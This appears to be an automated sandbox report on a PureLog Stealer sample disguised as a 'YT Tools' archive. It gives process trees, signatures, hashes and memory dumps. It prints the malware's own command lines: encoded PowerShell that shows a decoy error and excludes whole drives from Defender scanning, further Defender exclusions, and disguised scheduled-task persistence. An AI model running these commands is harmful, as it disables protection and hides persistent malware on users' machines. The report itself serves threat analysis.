Malware Analysis Report

2024-10-19 09:04

Sample ID 240316-e8fl6scb2s
Target YT Tools v3.8.rar
SHA256 8d18fe99fa89a0e433dc5bb2a714f9ad8585508bd951de48e8c407321e19b63d
Tags
purelogstealer stealer
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

8d18fe99fa89a0e433dc5bb2a714f9ad8585508bd951de48e8c407321e19b63d

Threat Level: Known bad

The file YT Tools v3.8.rar was found to be: Known bad.

Malicious Activity Summary

purelogstealer stealer

PureLog Stealer payload

Process spawned unexpected child process

PureLog Stealer

Executes dropped EXE

Checks computer location settings

Suspicious use of NtSetInformationThreadHideFromDebugger

Drops file in Program Files directory

Enumerates physical storage devices

Suspicious use of AdjustPrivilegeToken

Runs ping.exe

Suspicious use of FindShellTrayWindow

Suspicious behavior: GetForegroundWindowSpam

Uses Task Scheduler COM API

Suspicious behavior: EnumeratesProcesses

Suspicious use of SetWindowsHookEx

Suspicious use of WriteProcessMemory

Creates scheduled task(s)

Modifies registry class

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-03-16 04:37

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-03-16 04:36

Reported

2024-03-16 04:39

Platform

win10v2004-20240226-en

Max time kernel

85s

Max time network

106s

Command Line

cmd /c "C:\Users\Admin\AppData\Local\Temp\YT Tools v3.8.rar"

Signatures

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe

PureLog Stealer

stealer purelogstealer

PureLog Stealer payload

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-557049126-2506969350-2798870634-1000\Control Panel\International\Geo\Nation C:\Windows\system32\cmd.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-557049126-2506969350-2798870634-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\7zO0C1508D7\YT_ViewTools_v3.8.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-557049126-2506969350-2798870634-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Roaming\yt_surrogateServercomponentRuntimedll.exe N/A

Suspicious use of NtSetInformationThreadHideFromDebugger

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zO0C1508D7\YT_ViewTools_v3.8.exe N/A

Drops file in Program Files directory

Description Indicator Process Target
File created C:\Program Files\Windows NT\Accessories\en-US\7zFM.exe C:\Users\Admin\AppData\Roaming\yt_surrogateServercomponentRuntimedll.exe N/A
File created C:\Program Files\Windows NT\Accessories\en-US\5887102d7b29d4 C:\Users\Admin\AppData\Roaming\yt_surrogateServercomponentRuntimedll.exe N/A
File created C:\Program Files (x86)\Windows Media Player\Icons\RuntimeBroker.exe C:\Users\Admin\AppData\Roaming\yt_surrogateServercomponentRuntimedll.exe N/A
File created C:\Program Files\Windows Portable Devices\TrustedInstaller.exe C:\Users\Admin\AppData\Roaming\yt_surrogateServercomponentRuntimedll.exe N/A
File created C:\Program Files\Windows Portable Devices\04c1e7795967e4 C:\Users\Admin\AppData\Roaming\yt_surrogateServercomponentRuntimedll.exe N/A

Enumerates physical storage devices

Modifies registry class

Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-557049126-2506969350-2798870634-1000_Classes\Local Settings C:\Windows\system32\cmd.exe N/A
Key created \REGISTRY\USER\S-1-5-21-557049126-2506969350-2798870634-1000_Classes\Local Settings C:\Users\Admin\AppData\Roaming\yt_surrogateServercomponentRuntimedll.exe N/A

Runs ping.exe

Description Indicator Process Target
N/A N/A C:\Windows\system32\PING.EXE N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Roaming\yt_surrogateServercomponentRuntimedll.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\yt_surrogateServercomponentRuntimedll.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\yt_surrogateServercomponentRuntimedll.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\yt_surrogateServercomponentRuntimedll.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\yt_surrogateServercomponentRuntimedll.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\yt_surrogateServercomponentRuntimedll.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\yt_surrogateServercomponentRuntimedll.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\yt_surrogateServercomponentRuntimedll.exe N/A
N/A N/A C:\Program Files\7-Zip\7zFM.exe N/A
N/A N/A C:\Program Files\7-Zip\7zFM.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\yt_surrogateServercomponentRuntimedll.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\yt_surrogateServercomponentRuntimedll.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\yt_surrogateServercomponentRuntimedll.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\yt_surrogateServercomponentRuntimedll.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\yt_surrogateServercomponentRuntimedll.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\yt_surrogateServercomponentRuntimedll.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\yt_surrogateServercomponentRuntimedll.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\yt_surrogateServercomponentRuntimedll.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\yt_surrogateServercomponentRuntimedll.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\yt_surrogateServercomponentRuntimedll.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\yt_surrogateServercomponentRuntimedll.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\yt_surrogateServercomponentRuntimedll.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\yt_surrogateServercomponentRuntimedll.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\yt_surrogateServercomponentRuntimedll.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\yt_surrogateServercomponentRuntimedll.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\yt_surrogateServercomponentRuntimedll.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\yt_surrogateServercomponentRuntimedll.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\yt_surrogateServercomponentRuntimedll.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\yt_surrogateServercomponentRuntimedll.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\yt_surrogateServercomponentRuntimedll.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\yt_surrogateServercomponentRuntimedll.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\yt_surrogateServercomponentRuntimedll.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\yt_surrogateServercomponentRuntimedll.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\yt_surrogateServercomponentRuntimedll.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\yt_surrogateServercomponentRuntimedll.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\yt_surrogateServercomponentRuntimedll.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\yt_surrogateServercomponentRuntimedll.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\yt_surrogateServercomponentRuntimedll.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\yt_surrogateServercomponentRuntimedll.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\yt_surrogateServercomponentRuntimedll.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\yt_surrogateServercomponentRuntimedll.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\yt_surrogateServercomponentRuntimedll.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\yt_surrogateServercomponentRuntimedll.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\yt_surrogateServercomponentRuntimedll.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\yt_surrogateServercomponentRuntimedll.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\yt_surrogateServercomponentRuntimedll.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\yt_surrogateServercomponentRuntimedll.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\yt_surrogateServercomponentRuntimedll.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\yt_surrogateServercomponentRuntimedll.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\yt_surrogateServercomponentRuntimedll.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\yt_surrogateServercomponentRuntimedll.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\yt_surrogateServercomponentRuntimedll.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\yt_surrogateServercomponentRuntimedll.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\yt_surrogateServercomponentRuntimedll.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\yt_surrogateServercomponentRuntimedll.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\yt_surrogateServercomponentRuntimedll.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\yt_surrogateServercomponentRuntimedll.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\yt_surrogateServercomponentRuntimedll.exe N/A

Suspicious behavior: GetForegroundWindowSpam

Description Indicator Process Target
N/A N/A C:\Program Files\7-Zip\7zFM.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeRestorePrivilege N/A C:\Program Files\7-Zip\7zFM.exe N/A
Token: 35 N/A C:\Program Files\7-Zip\7zFM.exe N/A
Token: SeSecurityPrivilege N/A C:\Program Files\7-Zip\7zFM.exe N/A
Token: SeSecurityPrivilege N/A C:\Program Files\7-Zip\7zFM.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Roaming\yt_surrogateServercomponentRuntimedll.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of FindShellTrayWindow

Description Indicator Process Target
N/A N/A C:\Program Files\7-Zip\7zFM.exe N/A
N/A N/A C:\Program Files\7-Zip\7zFM.exe N/A
N/A N/A C:\Program Files\7-Zip\7zFM.exe N/A
N/A N/A C:\Program Files\7-Zip\7zFM.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zO0C1508D7\YT_ViewTools_v3.8.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 3836 wrote to memory of 4544 N/A C:\Windows\system32\cmd.exe C:\Program Files\7-Zip\7zFM.exe
PID 3836 wrote to memory of 4544 N/A C:\Windows\system32\cmd.exe C:\Program Files\7-Zip\7zFM.exe
PID 4544 wrote to memory of 2180 N/A C:\Program Files\7-Zip\7zFM.exe C:\Users\Admin\AppData\Local\Temp\7zO0C1508D7\YT_ViewTools_v3.8.exe
PID 4544 wrote to memory of 2180 N/A C:\Program Files\7-Zip\7zFM.exe C:\Users\Admin\AppData\Local\Temp\7zO0C1508D7\YT_ViewTools_v3.8.exe
PID 4544 wrote to memory of 2180 N/A C:\Program Files\7-Zip\7zFM.exe C:\Users\Admin\AppData\Local\Temp\7zO0C1508D7\YT_ViewTools_v3.8.exe
PID 2180 wrote to memory of 3892 N/A C:\Users\Admin\AppData\Local\Temp\7zO0C1508D7\YT_ViewTools_v3.8.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2180 wrote to memory of 3892 N/A C:\Users\Admin\AppData\Local\Temp\7zO0C1508D7\YT_ViewTools_v3.8.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2180 wrote to memory of 3892 N/A C:\Users\Admin\AppData\Local\Temp\7zO0C1508D7\YT_ViewTools_v3.8.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2180 wrote to memory of 3688 N/A C:\Users\Admin\AppData\Local\Temp\7zO0C1508D7\YT_ViewTools_v3.8.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2180 wrote to memory of 3688 N/A C:\Users\Admin\AppData\Local\Temp\7zO0C1508D7\YT_ViewTools_v3.8.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2180 wrote to memory of 3688 N/A C:\Users\Admin\AppData\Local\Temp\7zO0C1508D7\YT_ViewTools_v3.8.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2180 wrote to memory of 5056 N/A C:\Users\Admin\AppData\Local\Temp\7zO0C1508D7\YT_ViewTools_v3.8.exe C:\Users\Admin\AppData\Roaming\yt_surrogateServercomponentRuntimedll.exe
PID 2180 wrote to memory of 5056 N/A C:\Users\Admin\AppData\Local\Temp\7zO0C1508D7\YT_ViewTools_v3.8.exe C:\Users\Admin\AppData\Roaming\yt_surrogateServercomponentRuntimedll.exe
PID 5056 wrote to memory of 4372 N/A C:\Users\Admin\AppData\Roaming\yt_surrogateServercomponentRuntimedll.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 5056 wrote to memory of 4372 N/A C:\Users\Admin\AppData\Roaming\yt_surrogateServercomponentRuntimedll.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 5056 wrote to memory of 3848 N/A C:\Users\Admin\AppData\Roaming\yt_surrogateServercomponentRuntimedll.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 5056 wrote to memory of 3848 N/A C:\Users\Admin\AppData\Roaming\yt_surrogateServercomponentRuntimedll.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 5056 wrote to memory of 4784 N/A C:\Users\Admin\AppData\Roaming\yt_surrogateServercomponentRuntimedll.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 5056 wrote to memory of 4784 N/A C:\Users\Admin\AppData\Roaming\yt_surrogateServercomponentRuntimedll.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 5056 wrote to memory of 452 N/A C:\Users\Admin\AppData\Roaming\yt_surrogateServercomponentRuntimedll.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 5056 wrote to memory of 452 N/A C:\Users\Admin\AppData\Roaming\yt_surrogateServercomponentRuntimedll.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 5056 wrote to memory of 3576 N/A C:\Users\Admin\AppData\Roaming\yt_surrogateServercomponentRuntimedll.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 5056 wrote to memory of 3576 N/A C:\Users\Admin\AppData\Roaming\yt_surrogateServercomponentRuntimedll.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 5056 wrote to memory of 2820 N/A C:\Users\Admin\AppData\Roaming\yt_surrogateServercomponentRuntimedll.exe C:\Windows\System32\cmd.exe
PID 5056 wrote to memory of 2820 N/A C:\Users\Admin\AppData\Roaming\yt_surrogateServercomponentRuntimedll.exe C:\Windows\System32\cmd.exe

Uses Task Scheduler COM API

persistence

Processes

C:\Windows\system32\cmd.exe

cmd /c "C:\Users\Admin\AppData\Local\Temp\YT Tools v3.8.rar"

C:\Program Files\7-Zip\7zFM.exe

"C:\Program Files\7-Zip\7zFM.exe" "C:\Users\Admin\AppData\Local\Temp\YT Tools v3.8.rar"

C:\Users\Admin\AppData\Local\Temp\7zO0C1508D7\YT_ViewTools_v3.8.exe

"C:\Users\Admin\AppData\Local\Temp\7zO0C1508D7\YT_ViewTools_v3.8.exe"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHYAegBsACMAPgBBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsAPAAjAHoAYQBuACMAPgBbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAE0AZQBzAHMAYQBnAGUAQgBvAHgAXQA6ADoAUwBoAG8AdwAoACcAUgB1AG4AdABpAG0AZQAgAEUAcgByAG8AcgAgACgAYQB0ACAALQAxADoAMAApADoAIABDAGEAbgBuAG8AdAAgAEYAaQBuAGQAIABkAGwAbAAgAEMAOgAvAFcAaQBuAGQAbwB3AHMALwBhAHMAcwBlAG0AYgBsAHkALwBhAHAAaQAtAG0AcwAtAHcAaQBuAC0AYwByAHQALQByAHUAbgB0AGkAbQBlAC0AbAAxAC0AMQAtADAALgBkAGwAbAAnACwAJwAnACwAJwBPAEsAJwAsACcARQByAHIAbwByACcAKQA8ACMAZwByAGMAIwA+AA=="

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHgAawBkACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHQAaAB3ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGEAdwB4ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGIAcgBhACMAPgA="

C:\Users\Admin\AppData\Roaming\yt_surrogateServercomponentRuntimedll.exe

"C:\Users\Admin\AppData\Roaming\yt_surrogateServercomponentRuntimedll.exe"

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "yt_surrogateServercomponentRuntimedlly" /sc MINUTE /mo 12 /tr "'C:\Users\All Users\USOShared\yt_surrogateServercomponentRuntimedll.exe'" /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "yt_surrogateServercomponentRuntimedll" /sc ONLOGON /tr "'C:\Users\All Users\USOShared\yt_surrogateServercomponentRuntimedll.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "yt_surrogateServercomponentRuntimedlly" /sc MINUTE /mo 8 /tr "'C:\Users\All Users\USOShared\yt_surrogateServercomponentRuntimedll.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "7zFM7" /sc MINUTE /mo 5 /tr "'C:\Program Files\Windows NT\Accessories\en-US\7zFM.exe'" /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "7zFM" /sc ONLOGON /tr "'C:\Program Files\Windows NT\Accessories\en-US\7zFM.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "7zFM7" /sc MINUTE /mo 6 /tr "'C:\Program Files\Windows NT\Accessories\en-US\7zFM.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "powershellp" /sc MINUTE /mo 8 /tr "'C:\Recovery\WindowsRE\powershell.exe'" /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "powershell" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\powershell.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "powershellp" /sc MINUTE /mo 12 /tr "'C:\Recovery\WindowsRE\powershell.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "TrustedInstallerT" /sc MINUTE /mo 9 /tr "'C:\Program Files\Windows Portable Devices\TrustedInstaller.exe'" /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "TrustedInstaller" /sc ONLOGON /tr "'C:\Program Files\Windows Portable Devices\TrustedInstaller.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "TrustedInstallerT" /sc MINUTE /mo 14 /tr "'C:\Program Files\Windows Portable Devices\TrustedInstaller.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "cmdc" /sc MINUTE /mo 5 /tr "'C:\odt\cmd.exe'" /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "cmd" /sc ONLOGON /tr "'C:\odt\cmd.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "cmdc" /sc MINUTE /mo 13 /tr "'C:\odt\cmd.exe'" /rl HIGHEST /f

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\All Users\USOShared\yt_surrogateServercomponentRuntimedll.exe'

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files\Windows NT\Accessories\en-US\7zFM.exe'

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Recovery\WindowsRE\powershell.exe'

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files\Windows Portable Devices\TrustedInstaller.exe'

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"powershell" -Command Add-MpPreference -ExclusionPath 'C:\odt\cmd.exe'

C:\Windows\System32\cmd.exe

"C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\U1RtOWmL3h.bat"

C:\Windows\system32\chcp.com

chcp 65001

C:\Windows\system32\PING.EXE

ping -n 10 localhost

Network

Country Destination Domain Proto
US 8.8.8.8:53 79.121.231.20.in-addr.arpa udp
US 8.8.8.8:53 71.31.126.40.in-addr.arpa udp
US 8.8.8.8:53 9.228.82.20.in-addr.arpa udp
US 8.8.8.8:53 194.178.17.96.in-addr.arpa udp
US 8.8.8.8:53 58.55.71.13.in-addr.arpa udp
US 8.8.8.8:53 41.110.16.96.in-addr.arpa udp
US 8.8.8.8:53 43.58.199.20.in-addr.arpa udp
US 8.8.8.8:53 133.211.185.52.in-addr.arpa udp
US 8.8.8.8:53 183.142.211.20.in-addr.arpa udp
US 8.8.8.8:53 183.59.114.20.in-addr.arpa udp
US 8.8.8.8:53 15.164.165.52.in-addr.arpa udp
US 8.8.8.8:53 18.134.221.88.in-addr.arpa udp
US 8.8.8.8:53 173.178.17.96.in-addr.arpa udp
US 8.8.8.8:53 31.243.111.52.in-addr.arpa udp
US 8.8.8.8:53 55.36.223.20.in-addr.arpa udp

Files

C:\Users\Admin\AppData\Local\Temp\7zO0C1508D7\YT_ViewTools_v3.8.exe

MD5 b81fab4a5b1795b79178f26c240f6ded
SHA1 64698efa371d4b5202e548e2174e09ba6bf2a528
SHA256 3f80ca0291d4b78f82e830390f965a8c0cdd0d56052edb49e62496d83ccf601b
SHA512 1216f6d89a39da2e83910927cf40e98f51adb9a7fd5bade264c7a440d460951fb47cb83680ce84c115b7d7086191e9d7835344d3fc86bab4aeada5dcdc539028

memory/2180-12-0x0000000000400000-0x0000000000EC3000-memory.dmp

memory/2180-13-0x000000007FA70000-0x000000007FE41000-memory.dmp

C:\Users\Admin\AppData\Roaming\yt_surrogateServercomponentRuntimedll.exe

MD5 c1342065fc0ce661c602ea4e0e5237a2
SHA1 2293f64664a2f01a36d77c40b2edd23957c4e986
SHA256 c706188ca1426de2524f0a9f44424ae56dcea64b03d53d25a4653a16571eb9cb
SHA512 14aa3d65e0f5f5abc075787cb0172ea245ae5dc88c6470cc97d86f779e229b8b8ee108e0e30b7f78b3b63c6323e1ac2722493424980cb57559759bd1e3d9ce88

memory/5056-26-0x00000000007E0000-0x00000000008BC000-memory.dmp

memory/2180-25-0x0000000000400000-0x0000000000EC3000-memory.dmp

memory/5056-27-0x00007FFD52F70000-0x00007FFD53A31000-memory.dmp

memory/2180-30-0x000000007FA70000-0x000000007FE41000-memory.dmp

memory/3688-29-0x0000000005270000-0x00000000052A6000-memory.dmp

memory/5056-28-0x0000000002A20000-0x0000000002A60000-memory.dmp

memory/3892-31-0x0000000073230000-0x00000000739E0000-memory.dmp

memory/3688-34-0x00000000058E0000-0x0000000005F08000-memory.dmp

memory/3892-35-0x0000000005390000-0x00000000053A0000-memory.dmp

memory/3892-33-0x0000000005390000-0x00000000053A0000-memory.dmp

memory/3688-36-0x0000000005260000-0x0000000005270000-memory.dmp

memory/5056-32-0x000000001B3E0000-0x000000001B3F0000-memory.dmp

memory/3688-37-0x0000000073230000-0x00000000739E0000-memory.dmp

memory/3688-38-0x0000000005260000-0x0000000005270000-memory.dmp

memory/3892-39-0x0000000005960000-0x0000000005982000-memory.dmp

memory/3892-40-0x0000000006230000-0x0000000006296000-memory.dmp

memory/3688-41-0x0000000006170000-0x00000000061D6000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3rvy0n55.mqd.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/3892-56-0x0000000006310000-0x0000000006664000-memory.dmp

memory/5056-62-0x000000001B350000-0x000000001B35E000-memory.dmp

memory/5056-67-0x00007FFD739C0000-0x00007FFD739C1000-memory.dmp

memory/5056-65-0x000000001B380000-0x000000001B39C000-memory.dmp

memory/5056-63-0x00007FFD739D0000-0x00007FFD73A8E000-memory.dmp

memory/3688-68-0x00000000068B0000-0x00000000068FC000-memory.dmp

memory/5056-69-0x00007FFD739B0000-0x00007FFD739B1000-memory.dmp

memory/3892-66-0x0000000006940000-0x000000000695E000-memory.dmp

memory/5056-70-0x000000001B740000-0x000000001B790000-memory.dmp

memory/5056-73-0x00007FFD739A0000-0x00007FFD739A1000-memory.dmp

memory/5056-72-0x000000001B3A0000-0x000000001B3B8000-memory.dmp

memory/5056-76-0x00007FFD73990000-0x00007FFD73991000-memory.dmp

memory/5056-75-0x000000001B360000-0x000000001B36E000-memory.dmp

memory/5056-78-0x000000001B370000-0x000000001B37E000-memory.dmp

memory/5056-79-0x00007FFD73980000-0x00007FFD73981000-memory.dmp

memory/5056-81-0x000000001B3C0000-0x000000001B3CC000-memory.dmp

memory/5056-82-0x00007FFD73970000-0x00007FFD73971000-memory.dmp

memory/5056-83-0x000000001B3E0000-0x000000001B3F0000-memory.dmp

memory/5056-86-0x00007FFD73960000-0x00007FFD73961000-memory.dmp

memory/5056-85-0x000000001B3D0000-0x000000001B3DE000-memory.dmp

memory/5056-88-0x000000001B730000-0x000000001B73C000-memory.dmp

